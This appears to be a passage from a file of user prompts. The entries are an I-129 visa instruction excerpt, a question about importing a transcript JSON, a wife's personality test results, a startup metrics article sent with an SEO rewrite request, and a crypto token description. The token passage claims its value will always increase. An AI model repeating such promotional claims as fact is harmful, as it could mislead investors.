percent of the E-1’s total volume of international trade is\nconducted between United States and the treaty country.\nAn employee of an E-1 treaty trader who possesses the same nationality as the E-1 employer may also be classified as E-1.\nThe employee must principally and primarily perform executive or supervisory duties or possess special qualifications that\nare essential to the successful or efficient operation of the enterprise. The E-1 employee may perform work for the parent\ntreaty organization or enterprise, or any subsidiary of the parent organization or enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-1 treaty trader. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial Trade. Evidence of substantial trade may include, but is not limited to, copies of three or more of the\nfollowing: bills of lading, customs receipts, letter of credit, trade brochures, purchase orders, insurance papers,\ndocumenting commodities imported, carrier inventories, and/or sales contracts, or other probative documentation\nestablishing the requisite substantial trade; and\n3. For E-1 employees only: Executive or Supervisory Duties or special qualification essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nE-2 Nonimmigrants\nThe E-2 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation,\nand who are coming to the United States to develop and direct the operations of an enterprise in which the alien\nhas invested or is actively in the process of investing a substantial amount of capital. The Department of State\nmaintains a list of countries with qualifying treaties. See https://travel.state.gov/content/visas/en/fees/treaty.html\nfor a list of qualifying countries.\nWrite E-2 in the classification block.\nAn E-2 must demonstrate possession and control of capital and the ability to develop and direct the investment enterprise\nand the ability to develop and direct the investment enterprise. Capital in the process of being invested or that has been\ninvested must be placed at risk and be irrevocably committed to the enterprise. The enterprise must be a real, active, and\noperating commercial or entrepreneurial undertaking that produces services or goods for profit. The investment must be\nsubstantial and the funds must not have been obtained, directly or indirectly, from criminal activity. The enterprise must\nbe more than marginal.\nForm I-129 Instructions 11/02/22 Page 24 of 30\nAn employee of an E-2 who possesses the same nationality as the E-2 employer may also be classified as E-2. The\nemployee must principally and primarily perform executive or supervisory duties or possess special qualifications that are\nessential to the successful or efficient operation of the enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-2 treaty investor. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial investment. Such evidence may include, but is not limited to, copies of partnership agreements (with a\nstatement on proportionate ownership), articles of incorporation, payments for the rental of business premises or office\nequipment, business licenses, stock certificates, office inventories (goods and equipment purchased for the business),\ninsurance appraisals, annual reports, net worth statements from certified profession accountants, advertising invoices,\nbusiness bank accounts containing funds for routine operations, funds held in escrow; and\n3. For E-2 employees only: Executive or Supervisory Duties or special qualifications essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nAdvice on E-1 and E-2 petitions\nYou must obtain approval from USCIS when substantive changes occur in the terms or conditions of the status of the\ntreaty trader, investor, or E employee. To do this, file Form I-129 and E-1/E-2 Classification Supplement, with fee, and\nrequest an extension of stay.\nYou may seek advice from USCIS to determine whether changes in the terms or conditions in E status are substantive.\nTo obtain advice, file Form I-129 and E-1/E-2 Classification Supplement, with fee. Answer “Yes” to the question on the\nSupplement which asks whether you are seeking advice.\nFree Trade Nonimmigrants (H-1B1 and TNs)\nThe Free Trade Nonimmigrant classifications (H-1B1 and TN) are temporary nonimmigrant classifications based on the\nprovisions of a Free Trade Agreement between the United States and the alien’s country of citizenship. Currently there are\ntwo stand-alone Free Trade Nonimmigrant classifications available: TN and H-1B1.\nThe TN nonimmigrant classification is for aliens who are citizens of Canada or Mexico covered by the North\nAmerican Free Trade Agreement coming to the United States to engage temporarily in business activities at a\nprofessional level. Depending on the specific type of business activity, a TN must at least have a bachelor’s degree\nor, in certain limited instances, other appropriate credentials which demonstrate status as a professional. The\nacceptable types of TN business activities at a professional level are listed at 8 CFR 214.6(c).\nWrite TN in the classification block.\nDocumentary evidence must be submitted if the applicant is a citizen of Canada and is currently outside the United States\nOR if the applicant is a citizen of Canada or Mexico and is requesting a “Change of Status” to TN. The applicant must\nsubmit evidence demonstrating that he or she will be engaged in business activities at a professional level and that the\napplicant possesses the requisite professional qualifications. Acceptable evidence may include, but is not limited to, the\nfollowing:\n1. A letter from the employer stating the activity the beneficiary will be engaged in, the anticipated length of stay, and\nthe arrangements for remuneration;\n2. A copy of the beneficiary’s last two pay stubs and W-2 if employed in the United States; and\n3. Evidence the beneficiary meets the educational and/or licensing requirements for the profession or occupation.\nNOTE: While a petition is not required, citizens of Canada who are outside the United States may use this form to apply\nfor TN status.\nIf the applicant is a citizen of Canada or Mexico and is requesting an “Extension of Stay” in TN classification, submit\nevidence, such as a letter, describing the continuing employment and evidence of the beneficiary’s continued valid\nlicensing (if required by the profession and/or the state).\nForm I-129 Instructions 11/02/22 Page 25 of 30\nThe H-1B1 classification is for aliens from Chile or Singapore coming to the United States temporarily to perform\nservices in a specialty occupation. See the instructions for H-1B nonimmigrants for the definition of “specialty\noccupation.”\nWrite H-1B1 in the classification block.\nSubmit all evidence listed in the H Classification Supplement to Form I-129 under Section 1., Complete This Section If\nFiling for H-1B Classification, as well as evidence listed in the section of the instructions for H-1B specialty occupation\nclassification. The following supplements must be filed with the petition:\n1. Nonimmigrant Classification Based on a Trade Agreement Supplement; and\n2. H Classification Supplement; and\n3. H-1B Data Collection and Filing Fee Exemption Supplement.\nIf requesting an “Extension of Stay,” submit evidence, such as a letter describing the continuing employment, as well\nas evidence of the beneficiary’s continued valid licensing (if required by the profession and/or the state). Also, if this\nextension is the 6th consecutive extension requested for this beneficiary, a statement to that effect should be provided.\nChange of Status\nA petition for change of status to one of the classifications described in this section must be submitted with the initial\nevidence detailed above and with the initial evidence required by the separate instructions for all petitions involving\nchange of status.\nExtension of Stay\nA petition requesting an extension of stay for an employee in the United States must be filed with a copy of the\nbeneficiary’s Form I-94, Nonimmigrant Arrival/Departure Record, and a letter from the petitioner explaining the reasons\nfor the extension. Consult the regulations that relate to the specific nonimmigrant classification sought.\nNOTE: Dependent family members should use Form I-539 to file for an extension of stay.\nA nonimmigrant who must have a passport to be admitted must maintain a valid passport during his or her entire stay. If\na required passport is not valid, include a full explanation with your petition. A petition requesting an extension must be\nfiled with:\n1. The appropriate supplements for the classification;\n2. A letter describing the proffered employment;\n3. A copy of the beneficiary’s last 2 pay stubs and most recent W-2, if applicable;\n4. Evidence the beneficiary continues to meet the licensing requirements for the profession or occupation, if applicable;\n5. If requesting an extension of H-1B status (including H1B1 Chile/Singapore), evidence that the Department of Labor\nhas certified a labor condition application for the specialty occupation which is valid for the period of time requested;\n6. If requesting H-2A status, submit a U.S. Department of Labor approved temporary labor certification valid for\nthe dates of the extension, unless it is based on a continuation of previously approved employment due to exigent\ncircumstances and the extension will last no longer than 2 weeks;\n7. If requesting H-2B status, submit a U.S. Department of Labor approved temporary labor certification valid for the\ndates of extension.' -'Thanks! Will this script support the import of the (partial) JSON below? \n\n{\n "name": "Learning\\_math\\_early\\_its\\_big.mp4",\n "transcript": [\n {\n "speaker": "",\n "start\\_time": 6.48,\n "end\\_time": 11.69,\n "words": [\n {\n "text": ">>",\n "start\\_time": 6.48,\n "end\\_time": 6.52,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " Anton\'s",\n "start\\_time": 6.68,\n "end\\_time": 6.95,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " head",\n "start\\_time": 7.27,\n "end\\_time": 7.39,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " next",\n "start\\_time": 7.83,\n "end\\_time": 8.09,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " to",\n "start\\_time": 8.14,\n "end\\_time": 8.32,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " this",\n "start\\_time": 8.32,\n "end\\_time": 8.63,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " one\'s",\n "start\\_time": 8.63,\n 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11.69,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 12.31,\n "end\\_time": 13.91,\n "words": [\n {\n "text": ">>",\n "start\\_time": 12.31,\n "end\\_time": 12.55,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " The",\n "start\\_time": 12.58,\n "end\\_time": 12.64,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " dinosaur",\n "start\\_time": 12.85,\n "end\\_time": 13.46,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " one.",\n "start\\_time": 13.61,\n "end\\_time": 13.91,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 14.08,\n "end\\_time": 16.09,\n "words": [\n {\n "text": ">>",\n "start\\_time": 14.08,\n "end\\_time": 14.27,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " Yes.",\n "start\\_time": 14.27,\n "end\\_time": 14.36,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " What",\n 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"highlight": false,\n "strikethrough": false\n },\n {\n "text": " Teeth.",\n "start\\_time": 16.12,\n "end\\_time": 16.23,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 16.23,\n "end\\_time": 18.0,\n "words": [\n {\n "text": ">>",\n "start\\_time": 16.23,\n "end\\_time": 16.4,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " Let\'s",\n "start\\_time": 16.55,\n "end\\_time": 16.74,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " see",\n "start\\_time": 16.9,\n "end\\_time": 17.23,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " this.",\n "start\\_time": 17.88,\n "end\\_time": 18.0,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 20.38,\n "end\\_time": 20.61,\n "words": [\n {\n "text": ">>",\n "start\\_time": 20.38,\n "end\\_time": 20.54,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " Wow.",\n "start\\_time": 20.54,\n "end\\_time": 20.61,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 20.61,\n "end\\_time": 21.09,\n "words": [\n {\n "text": ">>",\n "start\\_time": 20.61,\n "end\\_time": 20.64,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " A",\n "start\\_time": 20.79,\n "end\\_time": 20.82,\n "highlight": false,\n "strikethrough": false' -'these are the personality test results of my wife: You are most like The Impresario\nImpresarios love to entertain, engage socially, and facilitate great experiences with others. They tend to be\noutgoing, inspiring, energetic and adaptable.\nImpresarios love to entertain, engage socially, and facilitate great experiences with others.\nTypical Impresarios love being at the center of social activity, equally comfortable with close friends or new acquaintances. Impresarios\ntend to be charming, friendly, and highly energetic. They are skilled at playing the role of emcee or facilitator in groups. They tend to go\nwith the flow and operate more on feel and instinct than analysis. They connect well with others but aren\'t necessarily motivated by a\ndeep desire to tend to and support other people\'s needs. Impresarios are quite independent and can tend to “march to the beat of their\nown drum.” It’s living in the moment—their own moment—that satisfies them.\nOther distinguishing characteristics include the ability to balance spontaneity and good organization, which allows them to orchestrate\npeople and experiences in an effective way. Impresarios have a knack for understanding what makes people tick and tend to be capable\nat influencing, persuading, and inspiring others.\nThey tend to thrive on pleasing others and being liked and admired. While this can enhance their connections to others, they should be\ncareful not to lose their own sense of self in seeking validation externally. Additionally, while self-confidence is a strong suit, Impresarios\ncan have a tendency to overstimulate themselves and can crash, so they should be aware of the need to maintain balance.\nImpresario Talents\nBeing social and engaging, yet independent\nOrchestrating compelling experiences\nInfluencing, persuading, and inspiring others\nBeing bold and adventurous\nFacilitating large groups of people\nImpresario Growth Needs\nTaking time to pause and think things through\nMaking better use of routines and set practices\nNot losing themselves in seeking validation externally\nMonitoring their energy levels to avoid burnout\n©2023 PRIOS, LLC Page 2 of 9\nYou also have attributes of the Entertainer and the Adventurer\nThe Entertainer\nEntertainers are driven by creating experiences and engaging with the world and particularly the people in it. They\ntend to be outgoing, original, agile, energetic, joyful and lighthearted.\nThe Adventurer\nAdventurers are motivated by taking part in fun, exciting, and adventurous activities and pursuits. They tend to be\nexcitement-seeking, fun-loving, energetic, independent, open to new experiences, and spontaneous.\nHere are the archetypes you are least like\nThe Enforcer\nEnforcers are driven to engage with the world through reliance on standards, rules, traditions. They tend to be direct\nand straightforward, traditional and reliable, with high standards for themselves and others.\nThe Investigator\nInvestigators are driven to research and analyze information and data to build knowledge and understanding. They\ntend to be logical and analytical, rigorous, and more reserved and thoughtful than outgoing and expressive.\n©2023 PRIOS, LLC Page 3 of 9\nCOGNITIVE ORIENTATION\nHow You Prefer to Think\nCreative\nYou are drawn toward creative thinking and enjoy new and\nunfamiliar experiences, though you may rely on established\nrules and traditions to guide you.\nOriginal 85%\nCurious 87%\nNon-Conforming 29%\nDeliberative\nYou tend to rely on logic yet are more spontaneous than\nmethodical, and are inclined to trust your instincts when\nreaching decisions and making choices.\nLogical 64%\nSystematic 2%\nImpartial 38%\nDetailed and Reliable\nYou tend to be precise and detail-focused, while being more\nspontaneous and less scheduled and orderly in work and\nplanning.\nOrganized 17%\nDetail-Oriented 99%\nDependable 51%\nConceptual\nYou have a preference for straightforward, concrete thinking\nover abstract and philosophical thinking.\nPractical\nYou have a preference to focus on direct, real-world\nconsequences in making decisions and choices.\n©2023 PRIOS, LLC Page 4 of 9\n69%\nHIGH\n21%\nLOW\n69%\nHIGH\n7%\nVERY LOW\n98%\nVERY HIGH\nINTERPERSONAL ORIENTATION\nHow You Engage with Others\nExtraverted\nYou tend to be engaging and outgoing, thrive at the epicenter of\nsocial activities, and are socially bold and adventurous.\nGregarious 83%\nEngaging 74%\nAdventurous 99%\nTough\nYou are willing to debate and fight for your ideas, with a general\ntendency to be straightforward and direct rather than diplomatic\nand subtle in your style.\nFeisty 90%\nCritical 45%\nDirect 44%\nNurturing\nYou have a strong desire to prioritize and support others\' needs,\nare fascinated by their behaviors and tendencies, with\nmoderate sensitivity to their emotions and feelings in the\nmoment.\nHelpful 82%\nEmpathetic 52%\nPerson-Oriented 78%\nLeadership\nYou have a strong desire to motivate people to achieve shared\ngoals and objectives, and are generally willing to take charge in\ngroups when necessary.\nTaking Charge 54%\nInspiring 65%\nDemanding 59%\nHumorous\nYou tend to be more joyful and lighthearted than serious and\nintense.\n©2023 PRIOS, LLC Page 5 of 9\n94%\nVERY HIGH\n66%\nHIGH\n74%\nHIGH\n60%\nHIGH\n76%\nHIGH\nMOTIVATIONAL ORIENTATION\nHow You Apply Yourself\nComposed\nYou tend to be resilient and not easily discouraged, though can\nlose your composure and get frustrated easily.\nCalm 6%\nConfident 64%\nPoised 2%\nAutonomous\nYou tend to be self-motivated, hold yourself accountable to the\noutcomes you experience, though have a desire for more\ndirection and clarity when achieving tasks and goals.\nIndependent 35%\nSelf-Accountable 93%\nInternally Motivated 89%\nFlexible\nYou tend to embrace change and uncertainty, are generally\ncomfortable shifting the roles you play in difference\ncircumstances, and are interested in your own growth and\ndevelopment.\nAdaptable 68%\nAgile 56%\nGrowth-Seeking 52%\nDetermined\nYou work hard to go after ambitious goals, tend to take action to\nseize opportunities and solve problems you confront, though\nmay be distractible and don\'t always push through to finish what\nyou start.\nPersistent 10%\nDriven 72%\nProactive 85%\n©2023 PRIOS, LLC Page 6 of 9\n9%\nVERY LOW\n84%\nVERY HIGH\n63%\nHIGH\n50%\nMODERATE\nHumble\nYou like to explore and understand perspectives different from\nyour own, tend to be moderately receptive to critical feedback,\nthough may value projecting self-confidence over modesty.\nReceptive to Criticism 52%\nOpen-Minded 98%\nModest 4%\nEnergetic\nYou have high levels of stamina, enthusiasm, and energy in\nwork and life.\nStatus-Seeking\nYou have a preference to please, “keep up” appearances, be\nliked, admired, and respected.\n©2023 PRIOS, LLC Page 7 of 9\n42%\nMODERATE\n75%\nHIGH\n96%\nVERY HIGH\nHow you respond in different situations:\nNow that you\'ve reviewed your detailed results, "You" in Context gives insight into how the combination of your attributes may play out in\na variety of work and life situations\nWhen interacting with others, you...\n...Are outgoing, socially bold, and stand out in the crowd as\nunique and creative\n...Tend to be fun, joyful, and lighthearted\n...Support others with empathy and compassion, while also\ntrying not to sugarcoat your honest view of things\n...Are willing to speak your mind, but are always aware of how\nothers perceive it\nAs a leader, you...\n...Demand and hold others accountable for results\n...Argue for your beliefs and say what you think\n...Call out underperformers whenever justified\n...Take initiative and instigate change\n...Are generally open to input from others, though prefer to make\nyour own calls\n...Balance when to express vulnerability or confidence and\ncertainty depending on the circumstance\n...May struggle to know when to follow rather than lead\nWhen planning, you...\n...Anticipate and plan for change by creating good contingency\nplans\n...Find that change is best viewed as an opportunity to create\nmore structure and clarity, not a problem to be avoided\n...Develop clear milestones and objectives\n...Track progress diligently against targets\n...Focus on completing tasks early\n...Think more concretely and literally\n...Create plans by scheduling, mapping out details, and being\nneat and orderly\nWhen solving problems, you...\n...Gravitate toward new, innovative approaches\n...Are comfortable finding solutions without much direction or\nguidance\n...Are quick to put structure and precision around vague ideas\n...Generate novel solutions by ignoring rules and traditions\n...Like using imagination and intuition\n...Are comfortable exploring the unknown\n©2023 PRIOS, LLC Page 8 of 9\nWhen setting goals, you...\n...Like to pursue novel ideas and plans, though sometimes don\'t\ncomplete them\n...Prefer to go after your own goals rather than following others\n...Are comfortable adapting to your circumstances, and aren\'t\noverly concerned about finishing everything you start\nOn a team, you...\n...Voice your thoughts directly\n...Enjoy a good debate, win, lose, or draw\n...Are comfortable sharing your feelings and encourage\nteammates to safely share their own thoughts and feelings\n...Enjoy the synergy of working as a team, but are also willing to\ngo your own way\n...Confront challenges directly and push back on attempts to\nlower the bar\n...Make a strong effort to strike a balance between focusing on\nyour own work and pitching in to help the team\nUnder stress, you...\n...May become reactive or irritable\n...Are highly perceptive of problems and risks around you\n...Can find value in turning to others for advice rather than going\nit alone\n...Tend to wear emotions on your sleeve\nWhen learning, you...\n...May prefer subjects that are intuitive rather than highly\nanalytical\n...Prefer an organized curriculum and following a clear schedule\n...Take your deadlines and commitments seriously\n...Like engaging with others on new insights and ideas\n...Generally like exploring new ideas and areas of interest\n...Like subjects that are straightforward, technical, and practical\n...Like to participate in the discussion\n...Are interested in creative topics where your curiosity and\noriginality can thrive\n...Have good stamina and endurance' -'[\nIn recent years there have been some great resources on metrics for startups, in particular Dave McClures metrics for pirates and Andrew Chens articles on user acquisition and KissMetrics article on conversion. Over the last few products I worked on I synthesized this into a core model that I found very helpful. Here are some questions I had difficulty understanding early on that led to my approach:\n\\* You notice that your power users all have taken some action (e.g. filled out their profile) so you try to encourage all users to fill out their profile to get them more hooked on your product. Does this actually help?\n\\* You have 24 hours of downtime, the next day you come back up your traffic is down. Will this have a long-term effect you need to worry about?\n\\* You have 100K uniques per day and so does your competitor, but are these 100K people who come back every day or 700K people who each come once per week? Does it matter?\n\\* You turn on a new advertising campaign and see your # of unique visitors per day start to increase, you assume that this will continue increasing so long as you keep the ads running, right?\n\\* You start having email deliverability problems (or Facebook turns off notifications) so you can’t notify users of new activity on the site. The # of unique visitors decreases slightly but you’re not too worried, should you be?\nWhat follows is a detailed how-to for analyzing your product’s customers.\nThe key insight is this: the most important thing is how many unique customers you have, and by implication, knowing what causes any change in this number. And by customers I don’t mean visitors or pageviews, I mean the subset of those people that will be long-term repeat users. Knowing how to measure those customers is the key concept that connects your pageviews, visitors, conversion funnel, retention %s, and all those other numbers you’re collecting and not quite sure how to make sense of. This isthe heart of your products and business’s success.\nHere is the simple model:\n\nThe first step is to figure out how many new customers you add each day and to do this you have to define what makes a customer.\nPeople seeing your product for the first time go through a series of first-time-visitor steps and then start using your product (landing page, registration, inviting their friends, etc). People usually refer to this series of steps as their new user funnel and the end of the funnel is usually some step like uploading their first photo or completing the first level in your game—some core action for your product. But where should your funnel end? This is actually a critical question that a lot of people get wrong; they misdefine the point of transition from a new visitor to an actual customer.\nHere is how to figure it out. First, hopefully you’re already measuring the conversion from each step in the funnel to the next step: 50% of people who see the landing page click the sign up link, 60% of people who start signing up complete the process, etc. Ask yourself, when someone has been using your product for awhile, what count as a meaningful return visit? Say you have a photo sharing website. If someone returns but only looks at one page and doesn’t click anything, that probably doesn’t count. But if they come and get sucked in and view 5+ unique photos, I’d say that counts. Or if they view one photo but they comment on it, that probably counts too. Once you’ve defined a meaningful visit then you need to work backwards and find the point where % chance of a repeat meaningful visit is 95+ %.\nTo switch examples, say you created an online game. After your user completes the sign-up process and takes their first few turns, there is still a good chance they will not return. However, those users who have come back on 100 unique days (where they took a turn on that day) should have a near 100% chance of returning the 101st time to take a turn. Find the point in between where the drop-off hits 5%, meaning 95% of people who reach this point will return. At this point you can call someone a customer. In a game I worked on once, after someone cast 24 spells and had visited the game on at least two unique days, they were hooked. We only lost 1% of these people each day. This point was the end of our new user funnel.\n(Note: if you don’t have a very sticky point like this, you may not have created a high-value product yet)\nThe second step is to figure out when you’ve lost a customer. After you’ve converted them from a visitor to a customer, by definition, you know you have a high likelihood of them engaging with the product again, but even these customers may not visit every single day. At what point have you lost them?\nYou should have an intuition about the interval between meaningful visits that you care about; start there and look for an unexpectedly long gap. In the game I mentioned above most people played every day (it was designed with this intent). A month after launch I grabbed all my customers who had played today and had been around for at least three weeks. I looked at how long of a break these people took. Lots of people skipped a day of playing, many skipped two or three consecutive days of playing, but very few took people ever took a 4 day break and came back again so after 4 days I considered a customer to be dead. For a second example, consider a product like Shazam on the iPhone (it identifies a song you are listening to). I use this product once month. Assuming this is okay to Shazam as a company (meaning that they can still build a successful business on people like me) then their lost point will be much different than with my game. I bet some Shazam users skip a month or two, but if you’ve skimmed four months you’ve probably forgotten about Shazam and have a very low chance of returning.\nCarrying Capacity\nAt this point, every day you know how many customers you gained, how many you lost, and how many total you currently have. With this data you can now calculate your carrying capacity.\nLets say you have 400 new visitors each day (i.e. from Adwords or Facebook Ads) and 50 of them turn into new customers; and of your current customers you lose lose 1% of them each day. Your product will continue to grow until you reach 5000 customers and then it will stop. Why? Because the # of customers you add each day is mostly independent of your total audience size, whereas the # of customers you lose each day will steadily increase until you’re losing the exact same number of customers you gain each day. At this point you plateau.\nOnce you have reached this equilibrium state, if you increase your daily ad spend so you’re acquiring 75 new customers each day you’ll start growing again until you reach 7,500 total customers then you’ll stop. And conversely, if you keep your # of new customers the same but figure out how to get your daily loss to 0.66% you will also grow to 7500 customers and then level off.\nCarrying Capacity = # of new daily customers / % customers you lost each day\n(The reality is a little more complex than this because the # of new customers you get each day is influenced to some extent by the total # of customers you have, but you can tease out those effects later.)\nEnhancing the Model\nThe next thing to understand is where your new customers are coming from. There are 3 possibilities worth isolating:\n\\* This is a brand new person you’ve never seen before (usually from advertising, SEO, or referral)\n\\* This is a former customer you considered lost or dead that has been resurrected\n\\* This is someone who tried your product in the past but never became a customer; now they’ve come back and converted (I call these the skeptics)\nHere is the original diagram expanded. In this picture you’ve added 50 new customers today but you isolated the three different sources (new, skeptics saved, resurrected). You also track the intermediate pools (skeptics and dead customers).\n \nThere is one more expansion I find helpful. Within the 5,000 total customers pictured above, some % of those returned today so they’re as good as new. Here is what my full customer dashboard with that addition:\n \nVirality\nVirality is the one concept which has the biggest potential to impact this model. Most people look at virality in a simplified way. You take all the new people who tried your product today and see how many friends they brought (either today or on any day in the near future). If 50 people came today and they inspired 25 of friends to come over the next few days then you’re K-factor is 0.5 (each new visitor will bring 0.5 friends). This doesn’t have any impact on the model I explained above. See the 400 new visitors? If your K-factor is 0.5 this just means you only had to buy 266 of them, the other 134 came for free. Correction: You only had to buy 200 of them, the other 200 came for free. I was only considering the second generation of free visitors, but these will bring a third generation, which will bring a fourth, etc. A K-factor of 0.5 means 1/(1–0.5)=2 times the number of users you bought will ultimately come. Any K-factor less than 1.0 is essentially just a discount on advertising spend (0.5 equals a 33% discount 50% discount).\nWhat most people overlook is that retention has a huge effect on your K-factor. Sure, most of the invitations people send occur in the first visit or first few days of using a product; this is why you initially spend so much time optimizing your new user funnel and trying to get people to refer their friends as part of this. However, after this first-visit kicker most users who come to love your product and stay around for a long time will continue to refer a steady stream of their friends. This can give you a nice bump to your lifetime K-factor and give you a greater chance of getting it over 1.0.\nNote: In the case that your first-visit viral coefficient is greater than 1.0, things can be very confusing without having a clear model like the one above. You could be converting 0% of your visitors to customers (i.e. all the water going into your bucket is instantly flowing out), but you’re steadily turning up the water since each new visitor is bringing more than one friend. You will see a steady increase in all your naive measurements of success (i.e. unique pageviews and visitors per day) but in reality you may not be acquiring any customers.\nBenefit\nIn closing, lets revisit the example questions I raised at the start. Here is how this model helps:\n\\* You notice that your power users all have taken some action (e.g. filled out their profile) so you try to encourage all users to fill out their profile to get them more hooked on your product. Does this actually help? Without this model its easy to mislead yourself into thinking it helps. You will probably be able to increase the metric but it may just weaken the correlation with power users. However, with this model you just watch your loss % each day and if it doesn’t change then you haven’t had any net impact on retention.\n\\* You have 24 hours of downtime, the next day you come back up your traffic is down. Will this have a long-term effect you need to worry about? Even if your traffic is lowered for a few days, all you have to do is measure your new visitors per day & lost customers per day and you’ll see if your carrying capacity has changed. If it has not changed then you don’t have to worry, you know your traffic will rise back up to your carrying capacity.\n\\* You have 100K uniques per day and so does your competitor, but are these 100K people who come back every day or 700K people who each come once per week? Does it matter? If you’re incorrectly caught up in # of unique visitors per day then this does seem like an important thing. And in fact, if you realize your visitors are not returning as often as your competitors you may even be tempted to spam them regularly because this will increase # of unique visitors each day and can give you the illusion of improving things. In reality a move like this would probably increase your % lost each day and hurt your carrying capacity but you wouldn’t notice this for awhile because the increased # of uniques each day would mask the harm. However, with the model your emphasis is on # of customers not # of visitors. You’ll quickly realize that you don’t care how frequently people visit as a primary factor; if it doesn’t impact # of new customers per day or % of lost per day then you haven’t actually helped your product.\n\\* You turn on a new advertising campaign and see your # of unique visitors per day start to increase, you assume that this will continue increasing so long as you keep the ads running, right? Nope, you’ll level off once you’ve reached your new carrying capacity.\n\\* You start having email deliverability problems (or Facebook turns off notifications) so you cant notify users of new activity on the site. The # of unique visitors per day decreases slightly but you’re not too worried, should you be? This is similar to question 3, it may or may not be important but you’ll quickly be able to tell by focusing on the core numbers. Increasing # of unique visitors per day does not necessarily lead to more total customers.\n]\nUsing the writing, write an optimized article by Google Seo titled "using carrying capacity in product management" please.' -"A. Morphological Domain\n\nToken Form: The Fresh Earth Token is a digital token that is built on the Hashgraph HTS (Hedera Hashgraph Token Service) platform, using Guardian nodes from the Hedera network. This allows for a secure and efficient token form that can be easily integrated into the Fresh Earth ecosystem.\n\nToken Function: The Fresh Earth Token serves several functions within the ecosystem, including as fractional ownership, a means of access, a medium of exchange, a governance tool, and a store of value. These functions are facilitated by its integration with the Hashgraph HTS platform and the decentralized autonomous organization (DAO) governance structure.\n\nToken Structure: The Fresh Earth Token is a decentralized autonomous organization (DAO) that manages the food ecosystem business. It is governed by a set of smart contracts and is controlled by token holders. The Fresh Earth Token is structured as a utility token, with a finite supply that is determined by the ecosystem's needs and growth. The token is also designed to be divisible, which allows for fractional ownership and increased accessibility within the ecosystem.\n\nToken Relationship: The Fresh Earth Token has a symbiotic relationships with regenerated land and land and health of people, and to the growing value of those assets and others within the Fresh Earth ecosystem. The token is also integrated with the Hashgraph HTS platform, which allows for efficient and secure transactions within the ecosystem, further contributing to its value and utility.\n\nB. Pseudo-Archetypes\n\nUtility Token: The Fresh Earth token serves as a utility token, allowing holders to access and participate in the Fresh Earth ecosystem’s products, services, knowledge base and Rewards System. It is also a medium of exchange, and a store of value.\n\nGovernance Token: The Fresh Earth Token is governed by a set of smart contracts and is controlled by token holders, allowing for decentralized decision-making within the ecosystem.\n\nCommunity Token: The Fresh Earth Token is a digital collaborative community that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. This includes the ability to participate in Fresh Earth Projects, advocacy groups, Buying Groups and Research Groups. \n\nAsset-Backed Token: The Fresh Earth Token represents fractional ownership of the ecosystem, and is valued based on the assets of the ecosystem and the impact of regenerative projects. with its underlying value tied to the value of real-world assets such as the monetizable value of carbon sequestration, biodiversity, water retention, and food nutritional density. These assets are measured by key performance indicators (KPIs) that provide verified measurements of impact, that can be leveraged to secure external funding from government schemes such as carbon trading. They enable the token to access and participate in multiple markets, such as carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land, and not least the monetizable value of the massive data accumulation\n\nStablecoin: As an Assets Based Fractional Ownership Token, the Fresh Earth Token is linked to the assets mentioned above. The asset values can be expanded on multiple fronts, by growth of the network, growth of the of tradable values such as carbon credits, and growth in the diversity of values such as water retention, biodiversity and animal welfare as Fresh Earth and society collaborate to value these. Therefore Fresh Earth will have the asset to token ratio to buyback tokens if needed to maintain the value, which fundamentally should always be increasing, as regrnerataed land is a finite source of ever increasing value.\n\nC. Underlying Value\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the ecosystem, allowing for investment in the ecosystem without having to purchase the entire ecosystem.\n\nImpact Validation: The Fresh Earth ecosystem includes a Data Managment Platform that uses data to measure and validate the impact of regenerative practices, ensuring that the ecosystem is having a positive impact on the environment and society.\n\nEconomic Engine: The Fresh Earth ecosystem is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nD. Asset-Based\n\nReal-World Assets: The Fresh Earth ecosystem includes real-world assets such as carbon credits, biodiversity, water retention, and food nutritional density. Also Fresh Earth will own or have JV and licensing relationships with regenerative farming and production systems. See also above under Assets-Based Token\n\nKey Performance Indicators (KPIs): The Fresh Earth ecosystem includes IP such as Key Performance Indicators 